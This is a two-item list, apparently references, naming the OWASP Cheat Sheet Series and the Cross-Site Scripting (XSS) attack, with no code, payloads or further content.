- OWASP Cheat Sheet Series
- Cross-Site Scripting (XSS) Attack